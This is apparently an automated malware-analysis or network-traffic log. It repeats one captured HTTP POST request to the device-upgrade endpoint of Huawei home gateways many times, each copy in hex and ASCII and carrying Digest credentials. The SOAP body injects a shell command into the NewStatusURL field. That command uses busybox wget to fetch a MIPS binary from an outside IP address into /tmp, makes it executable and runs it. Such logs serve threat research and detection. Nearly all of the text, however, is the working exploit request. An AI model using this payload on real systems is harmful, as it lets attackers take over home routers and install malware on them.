4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 